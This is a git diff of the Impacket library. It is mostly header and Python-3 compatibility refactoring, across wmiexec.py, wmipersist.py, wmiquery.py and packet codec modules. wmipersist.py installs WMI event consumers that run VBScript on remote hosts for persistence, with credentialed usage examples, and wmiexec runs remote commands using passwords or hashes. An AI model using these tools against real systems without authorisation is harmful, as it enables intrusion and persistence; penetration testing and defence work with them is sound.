' - 'ommited it use the domain part (FQDN) specified in the target parameter') - group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. " - "See smbclient man page's -A option.") - group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') - - if len(sys.argv)==1: - parser.print_help() - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.codec is not None: - CODEC = options.codec - else: - if CODEC is None: - CODEC = 'utf-8' - - if ' '.join(options.command) == ' ' and options.nooutput is True: - logging.error("-nooutput switch and interactive shell not supported") - sys.exit(1) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] - - try: - if options.A is not None: - (domain, username, password) = load_smbclient_auth_file(options.A) - logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password))) - - if domain is None: - domain = '' - - if options.keytab is not None: - Keytab.loadKeysFromKeytab (options.keytab, username, domain, options) - options.k = True - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, - options.share, options.nooutput, options.k, options.dc_ip) - executer.run(address) - except KeyboardInterrupt as e: - logging.error(str(e)) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - logging.error(str(e)) - sys.exit(1) - - sys.exit(0) diff --git a/examples/wmipersist.py b/examples/wmipersist.py index d7f6e0f632..cc8afc8288 100755 --- a/examples/wmipersist.py +++ b/examples/wmipersist.py @@ -1,48 +1,52 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# This script creates/removes a WMI Event Consumer/Filter and link -# between both to execute Visual Basic based on the WQL filter -# or timer specified. -# -# Author: -# beto (@agsolino) +# Description: +# This script creates/removes a WMI Event Consumer/Filter and link +# between both to execute Visual Basic based on the WQL filter +# or timer specified. # -# Example: +# Example: # -# write a file toexec.vbs the following: -# Dim objFS, objFile -# Set objFS = CreateObject("Scripting.FileSystemObject") -# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) -# objFile.WriteLine "Hey There!" -# objFile.Close +# write a file toexec.vbs the following: +# Dim objFS, objFile +# Set objFS = CreateObject("Scripting.FileSystemObject") +# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) +# objFile.WriteLine "Hey There!" +# objFile.Close # +# then execute this script this way, VBS will be triggered once +# somebody opens calc.exe: # -# then execute this script this way, VBS will be triggered once -# somebody opens calc.exe: +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs +# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance +# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' # -# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC -# -vbs toexec.vbs -# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance -# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' +# or, if you just want to execute the VBS every XXX milliseconds: # -# or, if you just want to execute the VBS every XXX milliseconds: +# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC +# -vbs toexec.vbs -timer XXX # -# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC -# -vbs toexec.vbs -timer XXX +# to remove the event: +# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC # -# to remove the event: -# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC +# if you don't specify the password, it will be asked by the script. +# domain is optional. # -# if you don't specify the password, it will be asked by the script. -# domain is optional. +# Author: +# beto (@agsolino) # # Reference for: # DCOM/WMI +# + from __future__ import division from __future__ import print_function import sys @@ -50,14 +54,15 @@ import logging from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version -from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL class WMIPERSISTENCE: - def __init__(self, username = '', password = '', domain = '', options= None): + def __init__(self, username='', password='', domain='', options=None): self.__username = username self.__password = password self.__domain = domain @@ -69,8 +74,14 @@ def __init__(self, username = '', password = '', domain = '', options= None): @staticmethod def checkError(banner, resp): - if resp.GetCallStatus(0) != 0: - logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0))) + call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned + if call_status != 0: + from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS + try: + error_name = WBEMSTATUS.enumItems(call_status).name + except ValueError: + error_name = 'Unknown' + logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status)) else: logging.info('%s - OK' % banner) @@ -80,7 +91,7 @@ def run(self, addr): iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': @@ -100,8 +111,8 @@ def run(self, addr): r'Filter="__EventFilter.Name=\"EF_%s\""' % ( self.__options.name, self.__options.name))) else: - activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') - activeScript = activeScript.SpawnInstance() + activeScript, _ = iWbemServices.GetObject('ActiveScriptEventConsumer') + activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] @@ -110,14 +121,14 @@ def run(self, addr): iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: - eventFilter,_ = iWbemServices.GetObject('__EventFilter') - eventFilter = eventFilter.SpawnInstance() + eventFilter, _ = iWbemServices.GetObject('__EventFilter') + eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name - eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] + eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' - self.checkError('Adding EventFilter EF_%s'% self.__options.name, + self.checkError('Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: @@ -136,11 +147,11 @@ def run(self, addr): eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' - self.checkError('Adding EventFilter EF_%s'% self.__options.name, + self.checkError('Adding EventFilter EF_%s' % self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) - filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') - filterBinding = filterBinding.SpawnInstance() + filterBinding, _ = iWbemServices.GetObject('__FilterToConsumerBinding') + filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] @@ -150,6 +161,7 @@ def run(self, addr): dcom.disconnect() + # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme @@ -161,6 +173,8 @@ def run(self, addr): parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command @@ -195,7 +209,6 @@ def run(self, addr): options = parser.parse_args() - if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path @@ -203,21 +216,20 @@ def run(self, addr): else: logging.getLogger().setLevel(logging.INFO) + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) if options.action.upper() == 'INSTALL': if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): logging.error("You have to either specify -filter or -timer (and not both)") sys.exit(1) - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') - - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) try: if domain is None: diff --git a/examples/wmiquery.py b/examples/wmiquery.py index 5cc10b324a..d79ff5f208 100755 --- a/examples/wmiquery.py +++ b/examples/wmiquery.py @@ -1,22 +1,26 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Description: [MS-WMI] example. It allows to issue WQL queries and -# get description of the objects. +# Description: +# [MS-WMI] example. It allows to issue WQL queries and +# get description of the objects. # -# e.g.: select name from win32_account -# e.g.: describe win32_process +# e.g.: select name from win32_account +# e.g.: describe win32_process # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # # Reference for: # DCOM # + from __future__ import division from __future__ import print_function import argparse @@ -25,10 +29,11 @@ import logging from impacket.examples import logger +from impacket.examples.utils import parse_target from impacket import version from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY if __name__ == '__main__': @@ -130,6 +135,8 @@ def do_exit(self, line): parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION:MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') group = parser.add_argument_group('authentication') @@ -160,15 +167,15 @@ def do_exit(self, line): else: logging.getLogger().setLevel(logging.INFO) - import re - - domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - options.target).groups('') + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) - #In case the password contains '@' - if '@' in address: - password = password + '@' + address.rpartition('@')[0] - address = address.rpartition('@')[2] + domain, username, password, address = parse_target(options.target) if domain is None: domain = '' diff --git a/impacket/Dot11Crypto.py b/impacket/Dot11Crypto.py index 4c8d9d9727..1bf9d70af4 100644 --- a/impacket/Dot11Crypto.py +++ b/impacket/Dot11Crypto.py @@ -1,14 +1,17 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# IEEE 802.11 Network packet codecs. +# IEEE 802.11 Network packet codecs. # # Author: -# Gustavo Moreira +# Gustavo Moreira +# class RC4(): def __init__(self, key): diff --git a/impacket/Dot11KeyManager.py b/impacket/Dot11KeyManager.py index 0022fe7c92..53515c47b9 100644 --- a/impacket/Dot11KeyManager.py +++ b/impacket/Dot11KeyManager.py @@ -1,14 +1,16 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# IEEE 802.11 Network packet codecs. +# IEEE 802.11 Network packet codecs. # # Author: -# Gustavo Moreira +# Gustavo Moreira from array import array class KeyManager: diff --git a/impacket/ICMP6.py b/impacket/ICMP6.py index 904768050e..fc7e7d875a 100644 --- a/impacket/ICMP6.py +++ b/impacket/ICMP6.py @@ -1,14 +1,16 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. -# -# This software is provided under under a slightly modified version +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. -# +# import array import struct -from impacket.ImpactPacket import Header, Data +from impacket.ImpactPacket import Header, Data, array_tobytes from impacket.IP6_Address import IP6_Address @@ -234,7 +236,7 @@ def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data icmp_bytes = struct.pack('>H', id) icmp_bytes += struct.pack('>H', sequence_number) if (arbitrary_data is not None): - icmp_bytes += array.array('B', arbitrary_data).tostring() + icmp_bytes += array_tobytes(array.array('B', arbitrary_data)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) @@ -273,9 +275,9 @@ def __build_error_message(class_object, type, code, data, originating_packet_dat icmp_packet.set_code(code) #Pack ICMP payload - icmp_bytes = array.array('B', data).tostring() + icmp_bytes = array_tobytes(array.array('B', data)) if (originating_packet_data is not None): - icmp_bytes += array.array('B', originating_packet_data).tostring() + icmp_bytes += array_tobytes(array.array('B', originating_packet_data)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) @@ -302,11 +304,11 @@ def __build_neighbor_message(class_object, msg_type, target_address): icmp_packet.set_code(0) # Flags + Reserved - icmp_bytes = array.array('B', [0x00] * 4).tostring() + icmp_bytes = array_tobytes(array.array('B', [0x00] * 4)) # Target Address: The IP address of the target of the solicitation. # It MUST NOT be a multicast address. - icmp_bytes += array.array('B', IP6_Address(target_address).as_bytes()).tostring() + icmp_bytes += array_tobytes(array.array('B', IP6_Address(target_address).as_bytes())) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) @@ -394,10 +396,10 @@ def __build_node_information_message(class_object, type, code, payload = None): icmp_bytes = struct.pack('>H', qtype) icmp_bytes += struct.pack('>H', flags) - icmp_bytes += array.array('B', nonce).tostring() + icmp_bytes += array_tobytes(array.array('B', nonce)) if payload is not None: - icmp_bytes += array.array('B', payload).tostring() + icmp_bytes += array_tobytes(array.array('B', payload)) icmp_payload = Data() icmp_payload.set_data(icmp_bytes) diff --git a/impacket/IP6.py b/impacket/IP6.py index 259fa00874..7feeb31b7d 100644 --- a/impacket/IP6.py +++ b/impacket/IP6.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # @@ -8,7 +10,7 @@ import struct import array -from impacket.ImpactPacket import Header +from impacket.ImpactPacket import Header, array_frombytes from impacket.IP6_Address import IP6_Address from impacket.IP6_Extension_Headers import IP6_Extension_Header @@ -78,9 +80,9 @@ def get_pseudo_header(self): pseudo_header = array.array('B') pseudo_header.extend(source_address) pseudo_header.extend(destination_address) - pseudo_header.fromstring(struct.pack('!L', upper_layer_packet_length)) + array_frombytes(pseudo_header, struct.pack('!L', upper_layer_packet_length)) pseudo_header.fromlist(reserved_bytes) - pseudo_header.fromstring(struct.pack('B', upper_layer_protocol_number)) + array_frombytes(pseudo_header, struct.pack('B', upper_layer_protocol_number)) return pseudo_header ############################################################################ diff --git a/impacket/IP6_Address.py b/impacket/IP6_Address.py index 54810e302b..127f77ac17 100644 --- a/impacket/IP6_Address.py +++ b/impacket/IP6_Address.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # diff --git a/impacket/IP6_Extension_Headers.py b/impacket/IP6_Extension_Headers.py index d5b6a2ee5c..2c76513491 100644 --- a/impacket/IP6_Extension_Headers.py +++ b/impacket/IP6_Extension_Headers.py @@ -1,9 +1,12 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # + import array from impacket.ImpactPacket import Header, ImpactPacketException, PacketBuffer diff --git a/impacket/ImpactDecoder.py b/impacket/ImpactDecoder.py index d60adb2440..3709351df4 100644 --- a/impacket/ImpactDecoder.py +++ b/impacket/ImpactDecoder.py @@ -1,17 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Convenience packet unpackers for various network protocols -# implemented in the ImpactPacket module. +# Convenience packet unpackers for various network protocols +# implemented in the ImpactPacket module. # # Author: -# Javier Burroni (javier) -# Bruce Leidl (brl) -# Aureliano Calvo +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Aureliano Calvo +# import array diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py index 5e84c42d15..24d356e80a 100644 --- a/impacket/ImpactPacket.py +++ b/impacket/ImpactPacket.py @@ -1,17 +1,21 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Network packet codecs basic building blocks. -# Low-level packet codecs for various Internet protocols. +# Network packet codecs basic building blocks. +# Low-level packet codecs for various Internet protocols. # # Author: -# Javier Burroni (javier) -# Bruce Leidl (brl) -# Javier Kohen (jkohen) +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Javier Kohen (jkohen) +# + from __future__ import division from __future__ import print_function import array @@ -22,6 +26,16 @@ from binascii import hexlify from functools import reduce +# Alias function for compatibility with both Python <3.2 `tostring` and `fromstring` methods, and +# Python >=3.2 `tobytes` and `tostring` +if sys.version_info[0] >= 3 and sys.version_info[1] >= 2: + array_tobytes = lambda array_object: array_object.tobytes() + array_frombytes = lambda array_object, bytes: array_object.frombytes(bytes) +else: + array_tobytes = lambda array_object: array_object.tostring() + array_frombytes = lambda array_object, bytes: array_object.fromstring(bytes) + + """Classes to build network packets programmatically. Each protocol layer is represented by an object, and these objects are @@ -60,7 +74,7 @@ def set_bytes_from_string(self, data): def get_buffer_as_string(self): "Returns the packet buffer as a string object" - return self.__bytes.tostring() + return array_tobytes(self.__bytes) def get_bytes(self): "Returns the packet buffer as an array" @@ -97,7 +111,7 @@ def get_word(self, index, order = '!'): bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+2] - (value,) = struct.unpack(order + 'H', bytes.tostring()) + (value,) = struct.unpack(order + 'H', array_tobytes(bytes)) return value def set_long(self, index, value, order = '!'): @@ -116,7 +130,7 @@ def get_long(self, index, order = '!'): bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+4] - (value,) = struct.unpack(order + 'L', bytes.tostring()) + (value,) = struct.unpack(order + 'L', array_tobytes(bytes)) return value def set_long_long(self, index, value, order = '!'): @@ -135,7 +149,7 @@ def get_long_long(self, index, order = '!'): bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+8] - (value,) = struct.unpack(order + 'Q', bytes.tostring()) + (value,) = struct.unpack(order + 'Q', array_tobytes(bytes)) return value @@ -146,7 +160,7 @@ def get_ip_address(self, index): bytes = self.__bytes[index:] else: bytes = self.__bytes[index:index+4] - return socket.inet_ntoa(bytes.tostring()) + return socket.inet_ntoa(array_tobytes(bytes)) def set_ip_address(self, index, ip_string): "Set 4-byte value at 'index' from 'ip_string'" @@ -196,7 +210,7 @@ def __validate_index(self, index, size): diff = index + size - curlen if diff > 0: - self.__bytes.fromstring('\0' * diff) + array_frombytes(self.__bytes, b'\0' * diff) if orig_index < 0: orig_index -= diff @@ -719,7 +733,7 @@ def set_addr(self, addr): def get_addr(self): "Returns the sender's address field" - return self.get_bytes()[6:14].tostring() + return array_tobytes(self.get_bytes()[6:14]) def set_ether_type(self, aValue): "Set ethernet data type field to 'aValue'" @@ -797,7 +811,7 @@ def get_packet(self): # Pad to a multiple of 4 bytes num_pad = (4 - (len(my_bytes) % 4)) % 4 if num_pad: - my_bytes.fromstring(b"\0"* num_pad) + array_frombytes(my_bytes, b"\0" * num_pad) # only change ip_hl value if options are present if len(self.__option_list): @@ -809,9 +823,9 @@ def get_packet(self): self.set_ip_sum(self.compute_checksum(my_bytes)) if child_data is None: - return my_bytes.tostring() + return array_tobytes(my_bytes) else: - return my_bytes.tostring() + child_data + return array_tobytes(my_bytes) + child_data @@ -835,7 +849,7 @@ def get_pseudo_header(self): size_str = struct.pack("!H", tmp_size) - pseudo_buf.fromstring(size_str) + array_frombytes(pseudo_buf, size_str) return pseudo_buf def add_option(self, option): @@ -1296,7 +1310,7 @@ def calculate_checksum(self): buffer += self.get_bytes() data = self.get_data_as_string() if(data): - buffer.fromstring(data) + array_frombytes(buffer, data) self.set_uh_sum(self.compute_checksum(buffer)) def get_header_size(self): @@ -1486,7 +1500,7 @@ def calculate_checksum(self): data = self.get_data_as_string() if(data): - buffer.fromstring(data) + array_frombytes(buffer, data) res = self.compute_checksum(buffer) @@ -1505,9 +1519,9 @@ def get_packet(self): data = self.get_data_as_string() if data: - return bytes.tostring() + data + return array_tobytes(bytes) + data else: - return bytes.tostring() + return array_tobytes(bytes) def load_header(self, aBuffer): self.set_bytes_from_string(aBuffer[:20]) @@ -1562,7 +1576,7 @@ def get_padded_options(self): op_buf += op.get_bytes() num_pad = (4 - (len(op_buf) % 4)) % 4 if num_pad: - op_buf.fromstring("\0" * num_pad) + array_frombytes(op_buf, "\0" * num_pad) return op_buf def __str__(self): diff --git a/impacket/NDP.py b/impacket/NDP.py index 25519da6e8..60b1401817 100644 --- a/impacket/NDP.py +++ b/impacket/NDP.py @@ -1,6 +1,8 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # @@ -51,7 +53,7 @@ def Router_Advertisement(class_object, current_hop_limit, @classmethod def Neighbor_Solicitation(class_object, target_address): message_data = struct.pack('>L', 0) #Reserved bytes - message_data += target_address.as_bytes().tostring() + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data) @@ -66,15 +68,15 @@ def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_f flag_byte |= 0x20 message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes - message_data += target_address.as_bytes().tostring() + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data) @classmethod def Redirect(class_object, target_address, destination_address): message_data = struct.pack('>L', 0)# Reserved bytes - message_data += target_address.as_bytes().tostring() - message_data += destination_address.as_bytes().tostring() + message_data += ImpactPacket.array_tobytes(target_address.as_bytes()) + message_data += ImpactPacket.array_tobytes(destination_address.as_bytes()) return class_object.__build_message(NDP.REDIRECT, message_data) @@ -118,7 +120,7 @@ def Target_Link_Layer_Address(class_object, link_layer_address): #link_layer_address must have a size that is a multiple of 8 octets def __Link_Layer_Address(class_object, option_type, link_layer_address): option_length = (len(link_layer_address) / 8) + 1 - option_data = array.array("B", link_layer_address).tostring() + option_data = ImpactPacket.array_tobytes(array.array("B", link_layer_address)) return class_object.__build_option(option_type, option_length, option_data) @classmethod @@ -134,7 +136,7 @@ def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_fla option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime) option_data += struct.pack('>L', 0) #Reserved bytes - option_data += array.array("B", prefix).tostring() + option_data += ImpactPacket.array_tobytes(array.array("B", prefix)) option_length = 4 return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data) @@ -142,7 +144,7 @@ def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_fla @classmethod def Redirected_Header(class_object, original_packet): option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes - option_data += array.array("B", original_packet).tostring() + option_data += ImpactPacket.array_tobytes(array.array("B", original_packet)) option_length = (len(option_data) + 4) / 8 return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data) diff --git a/impacket/__init__.py b/impacket/__init__.py index 92a5d6bb49..963b480073 100644 --- a/impacket/__init__.py +++ b/impacket/__init__.py @@ -1,10 +1,13 @@ -# Copyright (c) 2003-2016 CORE Security Technologies +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2016 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# Author: Alberto Solino (@agsolino) +# Author: +# Alberto Solino (@agsolino) # # Set default logging handler to avoid "No handler found" warnings. diff --git a/impacket/cdp.py b/impacket/cdp.py index a65ba8c277..4264ab9df1 100644 --- a/impacket/cdp.py +++ b/impacket/cdp.py @@ -1,20 +1,22 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: -# Cisco Discovery Protocol packet codecs. +# Cisco Discovery Protocol packet codecs. # # Author: -# Martin Candurra -# martincad at corest.com +# Martin Candurra +# from struct import unpack import socket -from impacket.ImpactPacket import Header +from impacket.ImpactPacket import Header, array_tobytes from impacket import LOG IP_ADDRESS_LENGTH = 4 @@ -124,11 +126,11 @@ def get_length(self): return self.get_word(2) def get_data(self): - return self.get_bytes().tostring()[4:self.get_length()] + return array_tobytes(self.get_bytes())[4:self.get_length()] def get_ip_address(self, offset = 0, ip = None): if not ip: - ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH] + ip = array_tobytes(self.get_bytes())[offset : offset + IP_ADDRESS_LENGTH] return socket.inet_ntoa( ip ) class CDPDevice(CDPElement): @@ -149,7 +151,7 @@ class Address(CDPElement): def __init__(self, aBuffer = None): CDPElement.__init__(self, aBuffer) if aBuffer: - data = self.get_bytes().tostring()[8:] + data = array_tobytes(self.get_bytes())[8:] self._generateAddressDetails(data) def _generateAddressDetails(self, buff): @@ -353,10 +355,10 @@ def get_status(self): return self.get_byte(19) def get_cluster_command_mac(self): - return self.get_bytes().tostring()[20:20+6] + return array_tobytes(self.get_bytes())[20:20+6] def get_switch_mac(self): - return self.get_bytes().tostring()[28:28+6] + return array_tobytes(self.get_bytes())[28:28+6] def get_management_vlan(self): return self.get_word(36) diff --git a/impacket/crypto.py b/impacket/crypto.py index 976042684d..45c3a6bf8d 100644 --- a/impacket/crypto.py +++ b/impacket/crypto.py @@ -1,11 